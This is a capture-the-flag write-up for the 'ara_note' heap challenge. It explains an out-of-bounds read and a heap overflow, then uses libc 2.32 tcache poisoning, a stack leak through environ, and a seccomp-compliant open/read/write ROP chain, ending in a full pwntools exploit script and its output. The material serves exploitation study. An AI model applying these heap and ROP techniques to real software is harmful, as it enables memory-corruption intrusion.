This is a challenge from the ARA CTF from ITS Indonesia. Really a great challenge of the final round, this is a heap challenge. Also i just started on learning heap.
So first of all i check the specification of the binary, and it seems like it has a full protection.
1:29:00 › file ara_note; checksec ara_note
ara_note: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/x86_64-linux-gnu/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=609ec68f69eab349c549b991127634778b2cb57d, not stripped
[*] '/home/chao/Documents/WriteUps/ara/pwn/ara_note/ara_note'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Before we jump into the psudocode. First of all, this binary has a bunch of seccomp rules. Now we check it with the seccomp-tools
. Here's the rules.
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL
So, we can only call those syscalls(open, read, write, mprotect, sigreturn, brk, exit, and exit group).
Now let's jump into the pseudocode right away, i opened the binary in IDA PRO and i found an obvious vulnerability in this code
ssize_t view()
{
unsigned int v1; // [rsp+8h] [rbp-8h]
unsigned int n; // [rsp+Ch] [rbp-4h]
printf("Enter chunk index: ");
v1 = readnum();
if ( v1 > 0xE || !chunks[v1] )
{
puts("Not Allowed");
exit(4919);
}
printf("Enter the size to view: ");
n = readnum();
if ( (char)n > 'x' )
{
puts("Not Allowed");
exit(4919);
}
return write(1, (const void *)chunks[v1], n);
}
This code let us to view a chunk even larger than the chunk's size, so with this bug we can leak some addresses such as libc addresses or heap addresses.
Here's the code where we can allocate a chunk
_QWORD *allocate()
{
void *v0; // rcx
_QWORD *result; // rax
unsigned int v2; // [rsp+8h] [rbp-8h]
unsigned int size; // [rsp+Ch] [rbp-4h]
printf("Enter chunk index: ");
v2 = readnum();
if ( v2 > 0xE || chunks[v2] )
{
puts("Not Allowed");
exit(4919);
}
printf("Enter the size of the chunk: ");
size = readnum();
if ( (char)size > 120 )
{
puts("Not Allowed");
exit(4919);
}
v0 = malloc(size);
result = chunks;
chunks[v2] = v0;
return result;
}
So the chunk size is not limited, we can even allocate a tremendous size of chunk.
And this is the code where we can edit chunks.
unsigned __int8 *edit()
{
unsigned int v1; // [rsp+8h] [rbp-8h]
unsigned int v2; // [rsp+Ch] [rbp-4h]
printf("Enter chunk index: ");
v1 = readnum();
if ( v1 > 0xE || !chunks[v1] )
{
puts("Not Allowed");
exit(4919);
}
printf("Enter the size to edit: ");
v2 = readnum();
if ( (char)v2 > 120 )
{
puts("Not Allowed");
exit(4919);
}
printf("Enter Data : ");
return my_read((unsigned __int8 *)chunks[v1], v2);
}
Again, same bug. Here we can overflow the heap and poison some chunks.
And btw, this binary is using libc 2.32 which means we can do a tcache poisoning using the edit function.
Now we're done analyzing the pseudocode, im only found those bugs. In the delete function, i didn't find a bug. There is no use after free because the binary already nulled the freed chunk.
Now we have to craft the idea, here's what i got:
- We can exploit the view function to leak a libc and heap by using the bug where we can view a chunk larger than it own size. How we leak the libc? So in libc 2.32 heap, there are 5 bins. Fastbin, Smallbin, Largebin, Unsorted bin, and T-Cache bin. If we free a chunk with the size larger than 0xb0 after we fulled the 0xc0 sized tcache(7 bins is max), it will be freed into the unsorted bin. BUT if we freed a chunk larger than 0x408 even if we didn't fulled the tcache bin, it will immidiately be freed into the unsorted bin(Because 0x408 is the max size of tcache). In the unsorted bin, there are 2 pointers pointing into the libc main arena. We called them fd pointer and bk pointer, and that is what we looking for.
- Since we can't overwrite the __free_hook to system because of the
seccomp rules
. We need to do a ORW ROP to get the flag, but how do we ROP? Well thanks to the heap overflow bug, we can poison the tcache and change the next pointer into the stack address. But how we find the stack address? Now we have to thank the libc, because there is an environ variable from libc that stores a stack address which means we can leak the stack address from that by poisoning the tcache :D.
OK, now lets simplify the idea:
- Leak libc and heap
- Leak stack address
- Immidiate ORW ROP from the return address
Now we craft the exploit, first let's make some functions(to make our code shorter).
from pwn import *
libc = ELF("./libc-2.32.so")
p = process("./ara_note", env={"LD_PRELOAD": libc.path})
# p = remote("45.32.116.131", 1024)
def alloc(idx, size):
p.sendlineafter("> ", "1")
p.sendlineafter("index: ", str(idx))
p.sendlineafter("chunk: ", str(size))
def free(idx):
p.sendlineafter("> ", "2")
p.sendlineafter("index: ", str(idx))
def view(idx, size):
p.sendlineafter("> ", "3")
p.sendlineafter("index: ", str(idx))
p.sendlineafter("view: ", str(size))
def edit(idx, size, data):
p.sendlineafter("> ", "4")
p.sendlineafter("index: ", str(idx))
p.sendlineafter("edit: ", str(size))
p.sendlineafter("Data : ", data)
DONE. Now let's start from the first step, leak libc and heap. Here's the code
alloc(0, 0x80)
alloc(1, 0x508)
alloc(2, 0x410)
free(1)
view(0, 0x90 + 0x8)
libc_leak = u64(p.recvline()[144:-42].ljust(8, '\x00'))
OK like i said, if we freed a chunk larger than 0x408. It will be immidiately freed into the unsorted bin that will store libc addresses.
Also i allocated another 0x410 bytes too so that the freed chunk in index 1 doesn't consolidate with the top chunk and still be freed into the unsorted bin.
And by using the view bug, i viewed more than the chunk's size to leak the libc address.
for i in range(4,11): alloc(i, 0x100)
alloc(13, 0x20)
for i in range(10, 3, -1): free(i)
view(0, 0xa8)
heap_leak = u64(p.recvline()[160:-44].ljust(8, '\x00'))
log.info("Heap leak: {}".format(hex(heap_leak)))
heap_base = heap_leak - 0x320
log.info("Heap base: {}".format(hex(heap_base)))
Here i freed 7 chunks to the tcache bin and leaks a heap address using the view bug.
alloc(4, 0x100)
edit(4, 0x118, 'A' * 0x100 + p64(0) + p64(0x111) + p64(poison))
alloc(5, 0x100)
alloc(6, 0x100)
view(6, 0x8)
stack_leak = u64(p.recvline()[:-42].ljust(8, '\x00'))
log.info("Stack leak: {}".format(hex(stack_leak)))
ret_addr = stack_leak - 0x140
log.info("Ret address: {}".format(hex(ret_addr)))
log.info("Overwrite in: {}".format(hex(ret_addr - 0x48)))
From here, i poisoned the tcache so the next chunk will point to libc environ variable where the stack address is stored. And of course, the stack address is now leaked.
edit(0, 0xa8, 'B' * 0x80 + p64(0) + p64(0x111) + p64(ret_poison) + p64(0))
alloc(4, 0x100)
edit(4, 0x10, './flag.txt\x00')
alloc(5, 0x100)
flag_loc = heap_base + 0x330
log.info("Flag loc: {}".format(hex(flag_loc)))
After we got the stack address, now we can calculate the return address and again poisoning the tcache so the next chunk will point to the return address and at the same time, i also write ./flag.txt\x00
into a chunk to make our rop easier and that's 1 reason why we need to leak the heap base.
payload = ''
payload += p64(pop_rdi)
payload += p64(flag_loc)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx_rbx)
payload += p64(0) * 2
payload += p64(pop_rcx)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(2)
payload += p64(syscall)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(flag_loc)
payload += p64(pop_rdx_rbx)
payload += p64(0x100) * 2
payload += p64(libc_read)
payload += p64(pop_rdi)
payload += p64(flag_loc)
payload += p64(libc_puts)
# gdb.attach(p, 'pie b *0x000000000000137a')
edit(5, 0x100, 'C' * 0x8 + payload)
Now we ROP and ez flag.
So the ROP has 3 sections.
- Opened the
./flag.txt
- Read the content of
./flag.txt
- Write the content of
flag.txt
Why i dont use the open function from libc? Well i used it, but instead of open syscall, it called openat syscall which is illegal instruction because of the seccomp rules.
That's why i manually open a file and then read and write using the libc functions.
Let's run the exploit
2:29:02 › python exploit2.py
[*] '/home/chao/Documents/WriteUps/ara/pwn/ara_note/libc-2.32.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './ara_note': pid 39744
[*] Libc leak: 0x7fd6a1d9ac00
[*] Libc base: 0x7fd6a1bb7000
[*] Libc puts: 0x7fd6a1c37d90
[*] Libc environ: 0x7fd6a1d9e600
[*] Libc read: 0x7fd6a1cbfca0
[*] Pop rdi: 0x7fd6a1bdf58f
[*] Pop rsi: 0x7fd6a1be1c3f
[*] Pop rdx rbx: 0x7fd6a1d107d6
[*] Pop rax: 0x7fd6a1bfc580
[*] Syscall: 0x7fd6a1bfd490
[*] Pop rcx: 0x7fd6a1ce8a8a
[*] Heap leak: 0x555a18dc8320
[*] Heap base: 0x555a18dc8000
[*] Stack leak: 0x7ffc896698b8
[*] Ret address: 0x7ffc89669778
[*] Overwrite in: 0x7ffc89669730
[*] Flag loc: 0x555a18dc8330
[*] Switching to interactive mode
ara2021{heap_plus_seccomp_easy_peasy_dt342}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[*] Got EOF while reading in interactive
$
And we got the flag.
Oh btw, in libc 2.32 there's some shifting and xoring to protect the freed tcache chunk fd and bk, so that's another reason to leak the heap base so we can mask the address.
Reference: https://pwn-maher.blogspot.com/2020/11/pwn10-heap-exploitation-for-glibc-232.html
Full exploit:
from pwn import *
libc = ELF("./libc-2.32.so")
p = process("./ara_note", env={"LD_PRELOAD": libc.path})
# p = remote("45.32.116.131", 1024)
def alloc(idx, size):
p.sendlineafter("> ", "1")
p.sendlineafter("index: ", str(idx))
p.sendlineafter("chunk: ", str(size))
def free(idx):
p.sendlineafter("> ", "2")
p.sendlineafter("index: ", str(idx))
def view(idx, size):
p.sendlineafter("> ", "3")
p.sendlineafter("index: ", str(idx))
p.sendlineafter("view: ", str(size))
def edit(idx, size, data):
p.sendlineafter("> ", "4")
p.sendlineafter("index: ", str(idx))
p.sendlineafter("edit: ", str(size))
p.sendlineafter("Data : ", data)
def mask(heap_base, target):
return target ^ (heap_base >> 0xc)
alloc(0, 0x80)
alloc(1, 0x508)
alloc(2, 0x410)
free(1)
view(0, 0x90 + 0x8)
libc_leak = u64(p.recvline()[144:-42].ljust(8, '\x00'))
log.info("Libc leak: {}".format(hex(libc_leak)))
libc_base = libc_leak - 0x1e3c00
log.info("Libc base: {}".format(hex(libc_base)))
libc_puts = libc_base + 0x0000000000080d90
log.info("Libc puts: {}".format(hex(libc_puts)))
libc_environ = libc_base + 0x00000000001e7600
log.info("Libc environ: {}".format(hex(libc_environ)))
libc_read = libc_base + 0x0000000000108ca0
log.info("Libc read: {}".format(hex(libc_read)))
pop_rdi = libc_base + 0x000000000002858f
log.info("Pop rdi: {}".format(hex(pop_rdi)))
pop_rsi = libc_base + 0x000000000002ac3f
log.info("Pop rsi: {}".format(hex(pop_rsi)))
pop_rdx_rbx = libc_base + 0x00000000001597d6
log.info("Pop rdx rbx: {}".format(hex(pop_rdx_rbx)))
pop_rax = libc_base + 0x0000000000045580
log.info("Pop rax: {}".format(hex(pop_rax)))
syscall = libc_base + 0x0000000000046490
log.info("Syscall: {}".format(hex(syscall)))
pop_rcx = libc_base + 0x0000000000131a8a
log.info("Pop rcx: {}".format(hex(pop_rcx)))
for i in range(4,11): alloc(i, 0x100)
alloc(13, 0x20)
for i in range(10, 3, -1): free(i)
view(0, 0xa8)
heap_leak = u64(p.recvline()[160:-44].ljust(8, '\x00'))
log.info("Heap leak: {}".format(hex(heap_leak)))
heap_base = heap_leak - 0x320
log.info("Heap base: {}".format(hex(heap_base)))
poison = mask(heap_base, libc_environ)
alloc(4, 0x100)
edit(4, 0x118, 'A' * 0x100 + p64(0) + p64(0x111) + p64(poison))
alloc(5, 0x100)
alloc(6, 0x100)
view(6, 0x8)
stack_leak = u64(p.recvline()[:-42].ljust(8, '\x00'))
log.info("Stack leak: {}".format(hex(stack_leak)))
ret_addr = stack_leak - 0x140
log.info("Ret address: {}".format(hex(ret_addr)))
log.info("Overwrite in: {}".format(hex(ret_addr - 0x48)))
free(5)
free(4)
ret_poison = mask(heap_base, ret_addr - 0x48)
edit(0, 0xa8, 'B' * 0x80 + p64(0) + p64(0x111) + p64(ret_poison) + p64(0))
alloc(4, 0x100)
edit(4, 0x10, './flag.txt\x00')
alloc(5, 0x100)
flag_loc = heap_base + 0x330
log.info("Flag loc: {}".format(hex(flag_loc)))
payload = ''
payload += p64(pop_rdi)
payload += p64(flag_loc)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx_rbx)
payload += p64(0) * 2
payload += p64(pop_rcx)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(2)
payload += p64(syscall)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(flag_loc)
payload += p64(pop_rdx_rbx)
payload += p64(0x100) * 2
payload += p64(libc_read)
payload += p64(pop_rdi)
payload += p64(flag_loc)
payload += p64(libc_puts)
# gdb.attach(p, 'pie b *0x000000000000137a')
edit(5, 0x100, 'C' * 0x8 + payload)
p.interactive()
Top comments (0)